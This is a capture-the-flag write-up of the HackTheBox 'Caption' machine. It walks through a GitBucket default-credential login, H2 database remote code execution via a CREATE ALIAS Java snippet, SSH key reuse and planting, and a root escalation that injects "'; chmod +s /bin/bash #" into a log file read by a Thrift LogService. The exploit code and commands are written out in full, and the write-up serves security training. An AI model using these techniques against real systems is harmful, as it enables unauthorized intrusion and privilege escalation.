Post

HackTheBox: Caption

HackTheBox: Caption

Caption is a HackTheBox hard machine where we discovered SSH, HTTP, and GitBucket services. We exploited a GitBucket vulnerability to gain access to the system and found a LogService flaw that allowed arbitrary command execution. We used this to set SUID on /bin/bash and escalated to root.


Enumeration

Nmap Scan

As usual, we start with an nmap on 10.129.46.159.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption]
└─$ nmap -sC -sV 10.129.46.159 -oN caption.nmap -T4  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-16 17:13 CET
Nmap scan report for 10.129.46.159
Host is up (0.078s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http
|_http-title: Did not follow redirect to http://caption.htb
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe: 
|     HTTP/1.1 400 Bad request
|     Content-length: 90
|     Cache-Control: no-cache
|     Connection: close
|     Content-Type: text/html
|     <html><body><h1>400 Bad request</h1>
|     Your browser sent an invalid request.
|     </body></html>
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.1 301 Moved Permanently
|     content-length: 0
|     location: http://caption.htb
|_    connection: close
8080/tcp open  http-proxy
|_http-title: GitBucket
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Mon, 16 Sep 2024 16:13:28 GMT
|     Set-Cookie: JSESSIONID=node01rbmeip9c4ygqaxepo9dcelc2.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 5920
[...]
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.13 seconds

Looking at the results we get 3 ports open.

  • 22/SSH OpenSSH - open
  • 80/HTTP - open
  • 8080/HTTP GitBucket - open

Having the domain name in the nmap scan we added that to our /etc/hosts file.

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       voldemort
10.129.46.159   caption.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Web Application - 80

Taking a look at the web app at port 80 we get a login page.

Screenshot

Trying default credentials as always, root:root, admin:admin, admin:root didn’t work. Lookig around for any useful information we couldn’t find anything.

Web Application - 8080

Not finding anything on port 80 we decided to take a look at port 8080 which is a GitBucket web application instance from the nmap scan.

Looking around, we couldn’t find any publicly available repository so we knew that we had to sign in in order to enumerate further.

Screenshot

As we always do, we started trying basic/default credentials and we got a hit! we were able to log in using root:root.

Exploitation

GitBucket Credentials Leak

Upon logging in we get 2 private repositories available, Logservice and Caption-Portal.

Screenshot

Taking a look at the Caption-Portal repository we got the web app hosted on port 80 files.

Screenshot

Looking through the files we couldn’t find anything interesting we didn’t find any credentials. Going through the different commits on the repo we did find an interesting commit called Update access control which leaked the credentials of margo’s account on port 80.

Screenshot

Initial Access

Connecting with the credentials we got on the login page we didn’t find anything interesting other than an endpoint at /logs which gives us a 403 Forbidden.

Screenshot

As it looks like a rabbit hole, we decided to go back to the GitBucket instance and enumerate further on. Being a gitbucket admin we could access the System Administration where we found Database Viewer we were able to execute SQL queries.

Having in mind that the GitBucket is a java web application, from the cookie : JSESSIONID, we thought of H2 which is a relational database management system written in Java (we can confirm this by running incorrect queries), we looked up for the version using SELECT H2VERSION() FROM DUAL and it’s 1.4.199. Googling H2 java 1.4.199 exploit we found this medium post talking about Chaining Vulnerabilities in H2 Database for RCE.

So basically, the H2 is vulnerable to RCE where we can execute arbitrary commands. We first start by creating an alias called REVEXEC which will allow us later on to run shell commands and execute code.

1
2
3
4
CREATE ALIAS REVEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : ""; 
}$$;

Once executed we can now call our alias to execute commands.

Screenshot

Looking through margo files we found a private key which will allow us to connect to the box!

Screenshot

Copying the private key to our box, chmod 700 it we were able to successfully connect to margo’s account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption]
└─$ ssh -i id_ecdsa margo@caption.htb          
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon Sep 16 05:33:10 PM UTC 2024

  System load:  0.0               Processes:             233
  Usage of /:   68.7% of 8.76GB   Users logged in:       0
  Memory usage: 17%               IPv4 address for eth0: 10.129.46.159
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

3 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


Last login: Tue Sep 10 12:33:42 2024 from 10.10.14.23
margo@caption:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ+oeO5zDcVZ8LRf+SVJshyvmkTmfE6T7b+RKTivGecW str4ngerx@voldemort' > ~/.ssh/authorized_keys
margo@caption:~$ ls
app  copyparty-sfx.py  gitbucket.war  logs  user.txt
margo@caption:~$ 

Privilege Escalation

For the privilege escalation, we leveraged the Thrift client to interact with a service called LogService, which was running on the target machine.

Our goal was to exploit a vulnerability in the LogService to achieve remote code execution (RCE) and escalate our privileges.

We will first start by cloning the Logservice repository to retrieve the log_service.thrift on the victim machine as margo (Username and Password are the GitBucket creds from earlier : root:root)

1
2
3
4
5
6
7
8
9
10
11
margo@caption:~$ git clone http://caption.htb:8080/git/root/Logservice.git
Cloning into 'Logservice'...
Username for 'http://caption.htb:8080': root
Password for 'http://root@caption.htb:8080': 
remote: Counting objects: 32, done
remote: Finding sources: 100% (32/32)
remote: Getting sizes: 100% (23/23)
remote: Compressing objects: 100% (8702/8702)
Receiving objects: 100% (32/32), 8.16 KiB | 1.02 MiB/s, done.
Resolving deltas: 100% (9/9), done.
remote: Total 32 (delta 9), reused 11 (delta 0)

We then need to generate the Python client code from the log_service.thrift file, which defines the structure of the LogService and its available methods.

1
2
3
4
5
6
7
8
margo@caption:~$ ls
app  copyparty-sfx.py  gitbucket.war  logs  Logservice  user.txt
margo@caption:~$ cd Logservice/
margo@caption:~/Logservice$ ls
gen-go  log_service.thrift  README.md  server.go
margo@caption:~/Logservice$ thrift --gen py log_service.thrift
margo@caption:~/Logservice$ ls
gen-go  gen-py  log_service.thrift  README.md  server.go

Once done, we need to send the generated gen-py and the log_service.thrift file to our local host.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption/]
└─$ scp -r margo@caption.htb:/home/margo/Logservice/gen-py .
ttypes.py                                                           100%  440     2.6KB/s   00:00    
LogService-remote                                                   100% 2777    16.4KB/s   00:00    
constants.py                                                        100%  366     2.1KB/s   00:00    
__init__.py                                                         100%   48     0.3KB/s   00:00    
LogService.py                                                       100% 8031    43.5KB/s   00:00    
                                                                                                
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption]
└─$ scp  margo@caption.htb:/home/margo/Logservice/log_service.thrift .
log_service.thrift                                                  100%   92     0.7KB/s   00:00    
                                                                                                      
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption]
└─$ ls
caption.nmap  gen-py  id_ecdsa  log_service.thrift
                                                                                                      
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption]
└─$ 

On the victim machine we now need to create a malicious log file that will set an SUID on the /bin/bash binary at /tmp/malicious.log.

1
127.0.0.1 "user-agent":"'; chmod +s /bin/bash #"

Back to our host, we need to port forward the 9090 port to us and then create a client using the python script below.

⚠️ Note: You might need to install the thrift module, use pip3 install thrift

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService  # Import generated Thrift client code

def main():
    # Set up a transport to the server
    transport = TSocket.TSocket('localhost', 9090)

    # Buffering for performance
    transport = TTransport.TBufferedTransport(transport)

    # Using a binary protocol
    protocol = TBinaryProtocol.TBinaryProtocol(transport)

    # Create a client to use the service
    client = LogService.Client(protocol)

    # Open the connection
    transport.open()

    try:
        # Specify the log file path to process
        log_file_path = "/tmp/malicious.log"
       
        # Call the remote method ReadLogFile and get the result
        response = client.ReadLogFile(log_file_path)
        print("Server response:", response)
   
    except Thrift.TException as tx:
        print(f"Thrift exception: {tx}")

    # Close the transport
    transport.close()

if __name__ == '__main__':
    main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption]
└─$ ssh -L 9090:127.0.0.1:9090 margo@caption.htb -N -f         
                                                                                                      
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption]
└─$ cd gen-py
                                                                                                      
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption/gen-py]
└─$ nano script.py 
                                                                                                      
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption/gen-py]
└─$ ls
__init__.py  log_service  script.py
                                                                                                      
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption/gen-py]
└─$ python3 script.py                             
Server response: Log file processed
                                                                                                      
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/Caption/gen-py]
└─$ 

Once executed we can confirm that the /bin/bash binary has now an SUID on and can priv esc to root.

1
2
3
4
5
6
7
8
9
margo@caption:~/Logservice$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /bin/bash
margo@caption:~/Logservice$ /bin/bash -p
bash-5.1# id
uid=1000(margo) gid=1000(margo) euid=0(root) egid=0(root) groups=0(root),1000(margo)
bash-5.1# whoami
root
bash-5.1# ls /root
go  go.mod  go.sum  output.log	root.txt  server.go

And with that, we can say that we rooted the box! There might be some other ways to do it but this method works just fine.

This post is licensed under CC BY 4.0 by the author.